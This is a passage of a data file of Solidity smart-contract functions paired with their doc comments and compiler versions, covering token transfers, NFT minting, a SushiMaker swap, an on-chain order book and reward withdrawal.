i++) {\r\n _safeMint(msg.sender, totalPublicSupply + i);\r\n }\r\n totalFreeSupply += freeCount;\r\n totalPublicSupply += count;\r\n hasUserFreeMinted[msg.sender] =\r\n freeCount > 0 &&\r\n hasUserFreeMinted[msg.sender] == false;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Extract 256-bit worth of data from the bytes stream.\r\n */", "function_code": "function slice32(bytes b, uint offset) constant returns (bytes32) {\r\n bytes32 out;\r\n\r\n for (uint i = 0; i < 32; i++) {\r\n out |= bytes32(b[offset + i] & 0xFF) >> (i * 8);\r\n }\r\n return out;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Extract 16-bit worth of data from the bytes stream.\r\n */", "function_code": "function slice2(bytes b, uint offset) constant returns (bytes2) {\r\n bytes2 out;\r\n\r\n for (uint i = 0; i < 2; i++) {\r\n out |= bytes2(b[offset + i] & 0xFF) >> (i * 8);\r\n }\r\n return out;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * Same as above, does not seem to cause any issue.\r\n */", "function_code": "function getKYCPayload(bytes dataframe) public constant returns(address whitelistedAddress, uint128 customerId, uint32 minEth, uint32 maxEth) {\r\n address _whitelistedAddress = dataframe.sliceAddress(0);\r\n uint128 _customerId = uint128(dataframe.slice16(20));\r\n uint32 _minETH = uint32(dataframe.slice4(36));\r\n uint32 _maxETH = uint32(dataframe.slice4(40));\r\n return (_whitelistedAddress, _customerId, _minETH, _maxETH);\r\n }", "version": "0.4.18"} {"comment": "// F1 - F10: OK\n// C1 - C24: OK", "function_code": "function setBridge(address token, address bridge) external onlyOwner {\n // Checks\n require(\n token != sushi && token != weth && token != bridge,\n \"SushiMaker: Invalid bridge\"\n );\n\n // Effects\n _bridges[token] = bridge;\n emit LogBridgeSet(token, bridge);\n }", "version": "0.6.12"} {"comment": "// F1 - F10: OK, see convert\n// C1 - C24: OK\n// C3: Loop is under control of the caller", "function_code": "function convertMultiple(\n address[] calldata token0,\n address[] calldata token1\n ) external onlyEOA() {\n // TODO: This can be optimized a fair bit, but this is safer and simpler for now\n uint256 len = token0.length;\n for (uint256 i = 0; i < len; i++) {\n _convert(token0[i], token1[i]);\n }\n }", "version": "0.6.12"} {"comment": "// F1 - F10: OK\n// C1 - C24: OK\n// All safeTransfer, swap: X1 - X5: OK", "function_code": "function _swap(\n address fromToken,\n address toToken,\n uint256 amountIn,\n address to\n ) internal returns (uint256 amountOut) {\n // Checks\n // X1 - X5: OK\n IUniswapV2Pair pair =\n IUniswapV2Pair(factory.getPair(fromToken, toToken));\n require(address(pair) != address(0), \"SushiMaker: Cannot convert\");\n\n // Interactions\n // X1 - X5: OK\n (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();\n uint256 amountInWithFee = amountIn.mul(997);\n if (fromToken == pair.token0()) {\n amountOut =\n amountInWithFee.mul(reserve1) /\n reserve0.mul(1000).add(amountInWithFee);\n IERC20(fromToken).safeTransfer(address(pair), amountIn);\n pair.swap(0, amountOut, to, new bytes(0));\n // TODO: Add maximum slippage?\n } else {\n amountOut =\n amountInWithFee.mul(reserve0) /\n reserve1.mul(1000).add(amountInWithFee);\n IERC20(fromToken).safeTransfer(address(pair), amountIn);\n pair.swap(amountOut, 0, to, new bytes(0));\n // TODO: Add maximum slippage?\n }\n }", "version": "0.6.12"} {"comment": "//\n// Contract common functions\n//", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n //\r\n require(_to != address(0), \"'_to' address has to be set\");\r\n require(_value <= balances[msg.sender], \"Insufficient balance\");\r\n //\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n //\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Buy _num WHALE with $SOS using specified _maxExchangeRate to mitigate frontrunning.\r\n * max exchange rate is a sqrt(sos/eth) Q64.96 value. \r\n * Cost should be obtained with an offchain call to exchangeRate to prevent frontrunning. \r\n */", "function_code": "function buy(uint256 _cost, uint256 _mintNum, uint256 _deadline) external override {\r\n //Get the SOS to buy with\r\n sos.safeTransferFrom(msg.sender, address(this), _cost*_mintNum);\r\n address[] memory path = new address[](2);\r\n path[0] = address(sos);\r\n path[1] = address(weth);\r\n ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams({\r\n tokenIn: address(sos),\r\n tokenOut: address(weth),\r\n fee: 10000,\r\n recipient: address(this),\r\n deadline: _deadline,\r\n amountOut: 0.5 ether*_mintNum,\r\n amountInMaximum: _cost,\r\n sqrtPriceLimitX96: 0\r\n });\r\n //Convert it to WETH\r\n router.exactOutputSingle(params);\r\n //Convert WETH to ETH\r\n weth.withdraw(0.5 ether*_mintNum);\r\n //Buy the NFT\r\n uint id = whaleMaker.totalSupply()+1;\r\n whaleMaker.buy{value: 0.5 ether*_mintNum}(_mintNum);\r\n //Transfer the NFT to buyer\r\n for(uint i = 0; i < _mintNum; i++) {\r\n whaleMaker.safeTransferFrom(address(this), msg.sender, id+i);\r\n }\r\n\r\n //Refund dust ETH\r\n uint256 dust = sos.balanceOf(address(this));\r\n if(dust > 0) sos.safeTransfer(msg.sender, dust);\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Use this method if you want to incorporate the sender address in the contract address.\n */", "function_code": "function deployFromContract(bytes32 salt, address deployer, bytes calldata bytecode)\n external returns (address) {\n bytes32 _data = keccak256(\n abi.encodePacked(salt, EXTERNAL_HASH, deployer)\n );\n address deployed = Create2.deploy(0, _data, bytecode);\n emit Deployed(deployed);\n return deployed;\n }", "version": "0.6.6"} {"comment": "/**\r\n * Construct token changer\r\n *\r\n * @param _tokenLeft Ref to the 'left' token smart-contract\r\n * @param _tokenRight Ref to the 'right' token smart-contract\r\n * @param _rate The rate used when changing tokens\r\n * @param _fee The percentage of tokens that is charged\r\n * @param _decimals The amount of decimals used for _rate and _fee\r\n * @param _paused Whether the token changer starts in the paused state or not\r\n * @param _burn Whether the changer should burn tokens or not\r\n */", "function_code": "function TokenChanger(address _tokenLeft, address _tokenRight, uint _rate, uint _fee, uint _decimals, bool _paused, bool _burn) {\r\n tokenLeft = IManagedToken(_tokenLeft);\r\n tokenRight = IManagedToken(_tokenRight);\r\n rate = _rate;\r\n fee = _fee;\r\n precision = _decimals > 0 ? 10**_decimals : 1;\r\n paused = _paused;\r\n burn = _burn;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Converts tokens by burning the tokens received at the token smart-contact \r\n * located at `_from` and by issuing tokens at the opposite token smart-contract\r\n *\r\n * @param _from The token smart-contract that received the tokens\r\n * @param _sender The account that send the tokens (token owner)\r\n * @param _value The amount of tokens that where received\r\n */", "function_code": "function convert(address _from, address _sender, uint _value) internal {\r\n require(!paused);\r\n require(_value > 0);\r\n\r\n uint amountToIssue;\r\n if (_from == address(tokenLeft)) {\r\n amountToIssue = _value * rate / precision;\r\n tokenRight.issue(_sender, amountToIssue - calculateFee(amountToIssue));\r\n if (burn) {\r\n tokenLeft.burn(this, _value);\r\n } \r\n } \r\n \r\n else if (_from == address(tokenRight)) {\r\n amountToIssue = _value * precision / rate;\r\n tokenLeft.issue(_sender, amountToIssue - calculateFee(amountToIssue));\r\n if (burn) {\r\n tokenRight.burn(this, _value);\r\n } \r\n }\r\n }", "version": "0.4.15"} {"comment": "// bonus scheme during ICO, 1 ETH = 800 EDEX for 1st 20 days, 1 ETH = 727 EDEX for 2nd 20 days, 1 ETH = 667 EDEX for 3rd 20 days", "function_code": "function icoBottomIntegerPrice() public constant returns (uint256){\r\n uint256 icoDuration = safeSub(block.number, icoStartBlock);\r\n uint256 bottomInteger;\r\n // icoDuration < 115,200 blocks = 20 days\r\n if (icoDuration < 115200){\r\n return currentPrice.bottomInteger;\r\n }\r\n // icoDuration < 230,400 blocks = 40 days\r\n else if (icoDuration < 230400 ){\r\n bottomInteger = safeMul(currentPrice.bottomInteger, 110) / 100;\r\n return bottomInteger;\r\n }\r\n else{\r\n bottomInteger = safeMul(currentPrice.bottomInteger, 120) / 100;\r\n return bottomInteger;\r\n }\r\n }", "version": "0.4.23"} {"comment": "// \"Public\" Management - set address of base and reward tokens.\n//\n// Can only be done once (normally immediately after creation) by the fee collector.\n//\n// Used instead of a constructor to make deployment easier.\n//", "function_code": "function init(ERC20 _baseToken, ERC20 _rwrdToken) public {\r\n require(msg.sender == feeCollector);\r\n require(address(baseToken) == 0);\r\n require(address(_baseToken) != 0);\r\n require(address(rwrdToken) == 0);\r\n require(address(_rwrdToken) != 0);\r\n // attempt to catch bad tokens:\r\n require(_baseToken.totalSupply() > 0);\r\n baseToken = _baseToken;\r\n require(_rwrdToken.totalSupply() > 0);\r\n rwrdToken = _rwrdToken;\r\n }", "version": "0.4.11"} {"comment": "// Public Info View - what is being traded here, what are the limits?\n//", "function_code": "function getBookInfo() public constant returns (\r\n BookType _bookType, address _baseToken, address _rwrdToken,\r\n uint _baseMinInitialSize, uint _cntrMinInitialSize,\r\n uint _feeDivisor, address _feeCollector\r\n ) {\r\n return (\r\n BookType.ERC20EthV1,\r\n address(baseToken),\r\n address(rwrdToken),\r\n baseMinInitialSize,\r\n cntrMinInitialSize,\r\n feeDivisor,\r\n feeCollector\r\n );\r\n }", "version": "0.4.11"} {"comment": "// Public Funds View - get balances held by contract on behalf of the client,\n// or balances approved for deposit but not yet claimed by the contract.\n//\n// Excludes funds in open orders.\n//\n// Helps a web ui get a consistent snapshot of balances.\n//\n// It would be nice to return the off-exchange ETH balance too but there's a\n// bizarre bug in geth (and apparently as a result via MetaMask) that leads\n// to unpredictable behaviour when looking up client balances in constant\n// functions - see e.g. https://github.com/ethereum/solidity/issues/2325 .\n//", "function_code": "function getClientBalances(address client) public constant returns (\r\n uint bookBalanceBase,\r\n uint bookBalanceCntr,\r\n uint bookBalanceRwrd,\r\n uint approvedBalanceBase,\r\n uint approvedBalanceRwrd,\r\n uint ownBalanceBase,\r\n uint ownBalanceRwrd\r\n ) {\r\n bookBalanceBase = balanceBaseForClient[client];\r\n bookBalanceCntr = balanceCntrForClient[client];\r\n bookBalanceRwrd = balanceRwrdForClient[client];\r\n approvedBalanceBase = baseToken.allowance(client, address(this));\r\n approvedBalanceRwrd = rwrdToken.allowance(client, address(this));\r\n ownBalanceBase = baseToken.balanceOf(client);\r\n ownBalanceRwrd = rwrdToken.balanceOf(client);\r\n }", "version": "0.4.11"} {"comment": "// Public Funds Manipulation - deposit previously-approved base tokens.\n//", "function_code": "function transferFromBase() public {\r\n address client = msg.sender;\r\n address book = address(this);\r\n // we trust the ERC20 token contract not to do nasty things like call back into us -\r\n // if we cannot trust the token then why are we allowing it to be traded?\r\n uint amountBase = baseToken.allowance(client, book);\r\n require(amountBase > 0);\r\n // NB: needs change for older ERC20 tokens that don't return bool\r\n require(baseToken.transferFrom(client, book, amountBase));\r\n // belt and braces\r\n assert(baseToken.allowance(client, book) == 0);\r\n balanceBaseForClient[client] += amountBase;\r\n ClientPaymentEvent(client, ClientPaymentEventType.TransferFrom, BalanceType.Base, int(amountBase));\r\n }", "version": "0.4.11"} {"comment": "// Public Funds Manipulation - withdraw base tokens (as a transfer).\n//", "function_code": "function transferBase(uint amountBase) public {\r\n address client = msg.sender;\r\n require(amountBase > 0);\r\n require(amountBase <= balanceBaseForClient[client]);\r\n // overflow safe since we checked less than balance above\r\n balanceBaseForClient[client] -= amountBase;\r\n // we trust the ERC20 token contract not to do nasty things like call back into us -\r\n // if we cannot trust the token then why are we allowing it to be traded?\r\n // NB: needs change for older ERC20 tokens that don't return bool\r\n require(baseToken.transfer(client, amountBase));\r\n ClientPaymentEvent(client, ClientPaymentEventType.Transfer, BalanceType.Base, -int(amountBase));\r\n }", "version": "0.4.11"} {"comment": "// Public Funds Manipulation - deposit counter currency (ETH).\n//", "function_code": "function depositCntr() public payable {\r\n address client = msg.sender;\r\n uint amountCntr = msg.value;\r\n require(amountCntr > 0);\r\n // overflow safe - if someone owns pow(2,255) ETH we have bigger problems\r\n balanceCntrForClient[client] += amountCntr;\r\n ClientPaymentEvent(client, ClientPaymentEventType.Deposit, BalanceType.Cntr, int(amountCntr));\r\n }", "version": "0.4.11"} {"comment": "// Public Funds Manipulation - withdraw counter currency (ETH).\n//", "function_code": "function withdrawCntr(uint amountCntr) public {\r\n address client = msg.sender;\r\n require(amountCntr > 0);\r\n require(amountCntr <= balanceCntrForClient[client]);\r\n // overflow safe - checked less than balance above\r\n balanceCntrForClient[client] -= amountCntr;\r\n // safe - not enough gas to do anything interesting in fallback, already adjusted balance\r\n client.transfer(amountCntr);\r\n ClientPaymentEvent(client, ClientPaymentEventType.Withdraw, BalanceType.Cntr, -int(amountCntr));\r\n }", "version": "0.4.11"} {"comment": "// Public Funds Manipulation - deposit previously-approved reward tokens.\n//", "function_code": "function transferFromRwrd() public {\r\n address client = msg.sender;\r\n address book = address(this);\r\n uint amountRwrd = rwrdToken.allowance(client, book);\r\n require(amountRwrd > 0);\r\n // we wrote the reward token so we know it supports ERC20 properly and is not evil\r\n require(rwrdToken.transferFrom(client, book, amountRwrd));\r\n // belt and braces\r\n assert(rwrdToken.allowance(client, book) == 0);\r\n balanceRwrdForClient[client] += amountRwrd;\r\n ClientPaymentEvent(client, ClientPaymentEventType.TransferFrom, BalanceType.Rwrd, int(amountRwrd));\r\n }", "version": "0.4.11"} {"comment": "// Public Order View - get full details of an order.\n//\n// If the orderId does not exist, status will be Unknown.\n//", "function_code": "function getOrder(uint128 orderId) public constant returns (\r\n address client, uint16 price, uint sizeBase, Terms terms,\r\n Status status, ReasonCode reasonCode, uint executedBase, uint executedCntr,\r\n uint feesBaseOrCntr, uint feesRwrd) {\r\n Order storage order = orderForOrderId[orderId];\r\n return (order.client, order.price, order.sizeBase, order.terms,\r\n order.status, order.reasonCode, order.executedBase, order.executedCntr,\r\n order.feesBaseOrCntr, order.feesRwrd);\r\n }", "version": "0.4.11"} {"comment": "// Public Order View - get mutable details of an order.\n//\n// If the orderId does not exist, status will be Unknown.\n//", "function_code": "function getOrderState(uint128 orderId) public constant returns (\r\n Status status, ReasonCode reasonCode, uint executedBase, uint executedCntr,\r\n uint feesBaseOrCntr, uint feesRwrd) {\r\n Order storage order = orderForOrderId[orderId];\r\n return (order.status, order.reasonCode, order.executedBase, order.executedCntr,\r\n order.feesBaseOrCntr, order.feesRwrd);\r\n }", "version": "0.4.11"} {"comment": "// Public Order View - enumerate all recent orders + all open orders for one client.\n//\n// Not really designed for use from a smart contract transaction.\n//\n// Idea is:\n// - client ensures order ids are generated so that most-signficant part is time-based;\n// - client decides they want all orders after a certain point-in-time,\n// and chooses minClosedOrderIdCutoff accordingly;\n// - before that point-in-time they just get open and needs gas orders\n// - client calls walkClientOrders with maybeLastOrderIdReturned = 0 initially;\n// - then repeats with the orderId returned by walkClientOrders;\n// - (and stops if it returns a zero orderId);\n//\n// Note that client is only used when maybeLastOrderIdReturned = 0.\n//", "function_code": "function walkClientOrders(\r\n address client, uint128 maybeLastOrderIdReturned, uint128 minClosedOrderIdCutoff\r\n ) public constant returns (\r\n uint128 orderId, uint16 price, uint sizeBase, Terms terms,\r\n Status status, ReasonCode reasonCode, uint executedBase, uint executedCntr,\r\n uint feesBaseOrCntr, uint feesRwrd) {\r\n if (maybeLastOrderIdReturned == 0) {\r\n orderId = mostRecentOrderIdForClient[client];\r\n } else {\r\n orderId = clientPreviousOrderIdBeforeOrderId[maybeLastOrderIdReturned];\r\n }\r\n while (true) {\r\n if (orderId == 0) return;\r\n Order storage order = orderForOrderId[orderId];\r\n if (orderId >= minClosedOrderIdCutoff) break;\r\n if (order.status == Status.Open || order.status == Status.NeedsGas) break;\r\n orderId = clientPreviousOrderIdBeforeOrderId[orderId];\r\n }\r\n return (orderId, order.price, order.sizeBase, order.terms,\r\n order.status, order.reasonCode, order.executedBase, order.executedCntr,\r\n order.feesBaseOrCntr, order.feesRwrd);\r\n }", "version": "0.4.11"} {"comment": "// Internal Price Calculation - turn packed price into a friendlier unpacked price.\n//", "function_code": "function unpackPrice(uint16 price) internal constant returns (\r\n Direction direction, uint16 mantissa, int8 exponent\r\n ) {\r\n uint sidedPriceIndex = uint(price);\r\n uint priceIndex;\r\n if (sidedPriceIndex < 1 || sidedPriceIndex > maxSellPrice) {\r\n direction = Direction.Invalid;\r\n mantissa = 0;\r\n exponent = 0;\r\n return;\r\n } else if (sidedPriceIndex <= minBuyPrice) {\r\n direction = Direction.Buy;\r\n priceIndex = minBuyPrice - sidedPriceIndex;\r\n } else {\r\n direction = Direction.Sell;\r\n priceIndex = sidedPriceIndex - minSellPrice;\r\n }\r\n uint zeroBasedMantissa = priceIndex % 900;\r\n uint zeroBasedExponent = priceIndex / 900;\r\n mantissa = uint16(zeroBasedMantissa + 100);\r\n exponent = int8(zeroBasedExponent) + minPriceExponent;\r\n return;\r\n }", "version": "0.4.11"} {"comment": "// Internal Price Calculation - turn a packed buy price into a packed sell price.\n//\n// Invalid price remains invalid.\n//", "function_code": "function computeOppositePrice(uint16 price) internal constant returns (uint16 opposite) {\r\n if (price < maxBuyPrice || price > maxSellPrice) {\r\n return uint16(invalidPrice);\r\n } else if (price <= minBuyPrice) {\r\n return uint16(maxSellPrice - (price - maxBuyPrice));\r\n } else {\r\n return uint16(maxBuyPrice + (maxSellPrice - price));\r\n }\r\n }", "version": "0.4.11"} {"comment": "// Internal Price Calculation - compute amount in counter currency that would\n// be obtained by selling baseAmount at the given unpacked price (if no fees).\n//\n// Notes:\n// - Does not validate price - caller must ensure valid.\n// - Could overflow producing very unexpected results if baseAmount very\n// large - caller must check this.\n// - This rounds the amount towards zero.\n// - May truncate to zero if baseAmount very small - potentially allowing\n// zero-cost buys or pointless sales - caller must check this.\n//", "function_code": "function computeCntrAmountUsingUnpacked(\r\n uint baseAmount, uint16 mantissa, int8 exponent\r\n ) internal constant returns (uint cntrAmount) {\r\n if (exponent < 0) {\r\n return baseAmount * uint(mantissa) / 1000 / 10 ** uint(-exponent);\r\n } else {\r\n return baseAmount * uint(mantissa) / 1000 * 10 ** uint(exponent);\r\n }\r\n }", "version": "0.4.11"} {"comment": "// Public Order Placement - cancel order\n//", "function_code": "function cancelOrder(uint128 orderId) public {\r\n address client = msg.sender;\r\n Order storage order = orderForOrderId[orderId];\r\n require(order.client == client);\r\n Status status = order.status;\r\n if (status != Status.Open && status != Status.NeedsGas) {\r\n return;\r\n }\r\n if (status == Status.Open) {\r\n removeOpenOrderFromBook(orderId);\r\n MarketOrderEvent(block.timestamp, orderId, MarketOrderEventType.Remove, order.price,\r\n order.sizeBase - order.executedBase, 0);\r\n }\r\n refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.ClientCancel);\r\n }", "version": "0.4.11"} {"comment": "// Public Order Placement - continue placing an order in 'NeedsGas' state\n//", "function_code": "function continueOrder(uint128 orderId, uint maxMatches) public {\r\n address client = msg.sender;\r\n Order storage order = orderForOrderId[orderId];\r\n require(order.client == client);\r\n if (order.status != Status.NeedsGas) {\r\n return;\r\n }\r\n order.status = Status.Unknown;\r\n processOrder(orderId, maxMatches);\r\n }", "version": "0.4.11"} {"comment": "// Internal Order Placement - remove a still-open order from the book.\n//\n// Caller's job to update/refund the order + raise event, this just\n// updates the order chain and bitmask.\n//\n// Too expensive to do on each resting order match - we only do this for an\n// order being cancelled. See matchWithOccupiedPrice for similar logic.\n//", "function_code": "function removeOpenOrderFromBook(uint128 orderId) internal {\r\n Order storage order = orderForOrderId[orderId];\r\n uint16 price = order.price;\r\n OrderChain storage orderChain = orderChainForOccupiedPrice[price];\r\n OrderChainNode storage orderChainNode = orderChainNodeForOpenOrderId[orderId];\r\n uint128 nextOrderId = orderChainNode.nextOrderId;\r\n uint128 prevOrderId = orderChainNode.prevOrderId;\r\n if (nextOrderId != 0) {\r\n OrderChainNode storage nextOrderChainNode = orderChainNodeForOpenOrderId[nextOrderId];\r\n nextOrderChainNode.prevOrderId = prevOrderId;\r\n } else {\r\n orderChain.lastOrderId = prevOrderId;\r\n }\r\n if (prevOrderId != 0) {\r\n OrderChainNode storage prevOrderChainNode = orderChainNodeForOpenOrderId[prevOrderId];\r\n prevOrderChainNode.nextOrderId = nextOrderId;\r\n } else {\r\n orderChain.firstOrderId = nextOrderId;\r\n }\r\n if (nextOrderId == 0 && prevOrderId == 0) {\r\n uint bmi = price / 256; // index into array of bitmaps\r\n uint bti = price % 256; // bit position within bitmap\r\n // we know was previously occupied so XOR clears\r\n occupiedPriceBitmaps[bmi] ^= 2 ** bti;\r\n }\r\n }", "version": "0.4.11"} {"comment": "// Internal Order Placement.\n//\n// Match our order against up to maxMatches resting orders at the given price (which\n// is known by the caller to have at least one resting order).\n//\n// The matches (partial or complete) of the resting orders are recorded, and their\n// funds are credited.\n//\n// The order chain for the resting orders is updated, but the occupied price bitmap is NOT -\n// the caller must clear the relevant bit if removedLastAtPrice = true is returned.\n//\n// Only updates the executedBase and executedCntr of our order - caller is responsible\n// for e.g. crediting our matched funds, updating status.\n//\n// Calling with maxMatches == 0 is ok - and expected when the order is a maker-only order.\n//\n// Returns:\n// removedLastAtPrice:\n// true iff there are no longer any resting orders at this price - caller will need\n// to update the occupied price bitmap.\n//\n// matchesLeft:\n// maxMatches passed in minus the number of matches made by this call\n//\n// matchStopReason:\n// If our order is completely matched, matchStopReason will be Satisfied.\n// If our order is not completely matched, matchStopReason will be either:\n// MaxMatches (we are not allowed to match any more times)\n// or:\n// PriceExhausted (nothing left on the book at this exact price)\n//", "function_code": "function matchWithOccupiedPrice(\r\n Order storage ourOrder, uint16 theirPrice, uint maxMatches\r\n ) internal returns (\r\n bool removedLastAtPrice, uint matchesLeft, MatchStopReason matchStopReason) {\r\n matchesLeft = maxMatches;\r\n uint workingOurExecutedBase = ourOrder.executedBase;\r\n uint workingOurExecutedCntr = ourOrder.executedCntr;\r\n uint128 theirOrderId = orderChainForOccupiedPrice[theirPrice].firstOrderId;\r\n matchStopReason = MatchStopReason.None;\r\n while (true) {\r\n if (matchesLeft == 0) {\r\n matchStopReason = MatchStopReason.MaxMatches;\r\n break;\r\n }\r\n uint matchBase;\r\n uint matchCntr;\r\n (theirOrderId, matchBase, matchCntr, matchStopReason) =\r\n matchWithTheirs((ourOrder.sizeBase - workingOurExecutedBase), theirOrderId, theirPrice);\r\n workingOurExecutedBase += matchBase;\r\n workingOurExecutedCntr += matchCntr;\r\n matchesLeft -= 1;\r\n if (matchStopReason != MatchStopReason.None) {\r\n break;\r\n }\r\n }\r\n ourOrder.executedBase = uint128(workingOurExecutedBase);\r\n ourOrder.executedCntr = uint128(workingOurExecutedCntr);\r\n if (theirOrderId == 0) {\r\n orderChainForOccupiedPrice[theirPrice].firstOrderId = 0;\r\n orderChainForOccupiedPrice[theirPrice].lastOrderId = 0;\r\n removedLastAtPrice = true;\r\n } else {\r\n // NB: in some cases (e.g. maxMatches == 0) this is a no-op.\r\n orderChainForOccupiedPrice[theirPrice].firstOrderId = theirOrderId;\r\n orderChainNodeForOpenOrderId[theirOrderId].prevOrderId = 0;\r\n removedLastAtPrice = false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "// Internal Order Placement.\n//\n// Refund any unmatched funds in an order (based on executed vs size) and move to a final state.\n//\n// The order is NOT removed from the book by this call and no event is raised.\n//\n// No sanity checks are made - the caller must be sure the order has not already been refunded.\n//", "function_code": "function refundUnmatchedAndFinish(uint128 orderId, Status status, ReasonCode reasonCode) internal {\r\n Order storage order = orderForOrderId[orderId];\r\n uint16 price = order.price;\r\n if (isBuyPrice(price)) {\r\n uint sizeCntr = computeCntrAmountUsingPacked(order.sizeBase, price);\r\n balanceCntrForClient[order.client] += sizeCntr - order.executedCntr;\r\n } else {\r\n balanceBaseForClient[order.client] += order.sizeBase - order.executedBase;\r\n }\r\n order.status = status;\r\n order.reasonCode = reasonCode;\r\n }", "version": "0.4.11"} {"comment": "// Internal Order Placement.\n//\n// Enter a not completely matched order into the book, marking the order as open.\n//\n// This updates the occupied price bitmap and chain.\n//\n// No sanity checks are made - the caller must be sure the order\n// has some unmatched amount and has been paid for!\n//", "function_code": "function enterOrder(uint128 orderId) internal {\r\n Order storage order = orderForOrderId[orderId];\r\n uint16 price = order.price;\r\n OrderChain storage orderChain = orderChainForOccupiedPrice[price];\r\n OrderChainNode storage orderChainNode = orderChainNodeForOpenOrderId[orderId];\r\n if (orderChain.firstOrderId == 0) {\r\n orderChain.firstOrderId = orderId;\r\n orderChain.lastOrderId = orderId;\r\n orderChainNode.nextOrderId = 0;\r\n orderChainNode.prevOrderId = 0;\r\n uint bitmapIndex = price / 256;\r\n uint bitIndex = price % 256;\r\n occupiedPriceBitmaps[bitmapIndex] |= (2 ** bitIndex);\r\n } else {\r\n uint128 existingLastOrderId = orderChain.lastOrderId;\r\n OrderChainNode storage existingLastOrderChainNode = orderChainNodeForOpenOrderId[existingLastOrderId];\r\n orderChainNode.nextOrderId = 0;\r\n orderChainNode.prevOrderId = existingLastOrderId;\r\n existingLastOrderChainNode.nextOrderId = orderId;\r\n orderChain.lastOrderId = orderId;\r\n }\r\n MarketOrderEvent(block.timestamp, orderId, MarketOrderEventType.Add,\r\n price, order.sizeBase - order.executedBase, 0);\r\n order.status = Status.Open;\r\n }", "version": "0.4.11"} {"comment": "// Internal Order Placement.\n//\n// Charge the client for the cost of placing an order in the given direction.\n//\n// Return true if successful, false otherwise.\n//", "function_code": "function debitFunds(\r\n address client, Direction direction, uint sizeBase, uint sizeCntr\r\n ) internal returns (bool success) {\r\n if (direction == Direction.Buy) {\r\n uint availableCntr = balanceCntrForClient[client];\r\n if (availableCntr < sizeCntr) {\r\n return false;\r\n }\r\n balanceCntrForClient[client] = availableCntr - sizeCntr;\r\n return true;\r\n } else if (direction == Direction.Sell) {\r\n uint availableBase = balanceBaseForClient[client];\r\n if (availableBase < sizeBase) {\r\n return false;\r\n }\r\n balanceBaseForClient[client] = availableBase - sizeBase;\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "// Internal Book View.\n//\n// See walkBook - adds up open depth at a price starting from an\n// order which is assumed to be open. Careful - unlimited gas use.\n//", "function_code": "function sumDepth(uint128 orderId) internal constant returns (uint depth, uint orderCount) {\r\n while (true) {\r\n Order storage order = orderForOrderId[orderId];\r\n depth += order.sizeBase - order.executedBase;\r\n orderCount++;\r\n orderId = orderChainNodeForOpenOrderId[orderId].nextOrderId;\r\n if (orderId == 0) {\r\n return (depth, orderCount);\r\n }\r\n }\r\n }", "version": "0.4.11"} {"comment": "/**\n * @dev Withdraws reward for holder. Returns reward.\n */", "function_code": "function withdrawReward() public returns (uint256) {\n updateTotalReward();\n uint256 value = calcReward(msg.sender) + owed[msg.sender];\n rewardAtTimeOfWithdraw[msg.sender] = totalReward;\n owed[msg.sender] = 0;\n\n require(value > 0, \"DevFund: withdrawReward nothing to transfer\");\n\n rewardToken.transfer(msg.sender, value);\n\n prevBalance = rewardToken.balanceOf(address(this));\n\n return value;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev View remaining reward for an address.\n * @param forAddress holder's address.\n */", "function_code": "function rewardFor(address forAddress) public view returns (uint256) {\n uint256 _currentBalance = rewardToken.balanceOf(address(this));\n uint256 _totalReward = totalReward +\n (_currentBalance > prevBalance ? _currentBalance - prevBalance : 0);\n return\n owed[forAddress] +\n (holderToken.balanceOf(forAddress) *\n (_totalReward - rewardAtTimeOfWithdraw[forAddress])) /\n holderToken.totalSupply();\n }", "version": "0.6.12"} {"comment": "// /**\n// * Transfer tokens\n// *\n// * Send `_value` tokens to `_to` from your account\n// *\n// * @param _to The address of the recipient\n// * @param _value the amount to send\n// */\n// function transfer(address _to, uint256 _value) public {\n// _transfer(msg.sender, _to, _value);\n// }", "function_code": "function transfer (address _to, uint256 _amount) public returns (bool success) {\r\n if( balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {\r\n\r\n balances[msg.sender] -= _amount;\r\n balances[_to] += _amount;\r\n emit Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Converts country index list into 3 uints\r\n \r\n Expects a list of country indexes such that the 2 digit country code is converted to an \r\n index. Countries are expected to be indexed so a \"AA\" country code is mapped to index 0 and \r\n \"ZZ\" country is mapped to index 675.\r\n @param countries List of country indexes\r\n @return {\r\n \"countries1\" : \"First third of the byte array converted in a 256 bytes uint\",\r\n \"countries2\" : \"Second third of the byte array converted in a 256 bytes uint\",\r\n \"countries3\" : \"Third third of the byte array converted in a 256 bytes uint\"\r\n }\r\n */", "function_code": "function convertCountryIndexToBytes(uint[] countries) public pure\r\n returns (uint countries1,uint countries2,uint countries3){\r\n countries1 = 0;\r\n countries2 = 0;\r\n countries3 = 0;\r\n for(uint i = 0; i < countries.length; i++){\r\n uint index = countries[i];\r\n\r\n if(index<256){\r\n countries1 = countries1 | uint(1) << index;\r\n } else if (index<512) {\r\n countries2 = countries2 | uint(1) << (index - 256);\r\n } else {\r\n countries3 = countries3 | uint(1) << (index - 512);\r\n }\r\n }\r\n\r\n return (countries1,countries2,countries3);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Add or update a campaign information\r\n \r\n Based on a campaign Id (bidId), a campaign can be created (if non existent) or updated.\r\n This function can only be called by the set of allowed addresses registered earlier.\r\n An event will be emited during this function's execution, a CampaignCreated event if the \r\n campaign does not exist yet or a CampaignUpdated if the campaign id is already registered.\r\n \r\n @param bidId Id of the campaign\r\n @param price Value to pay for each proof-of-attention\r\n @param budget Total value avaliable to be spent on the campaign\r\n @param startDate Start date of the campaign (in miliseconds)\r\n @param endDate End date of the campaign (in miliseconds)\r\n @param valid Boolean informing if 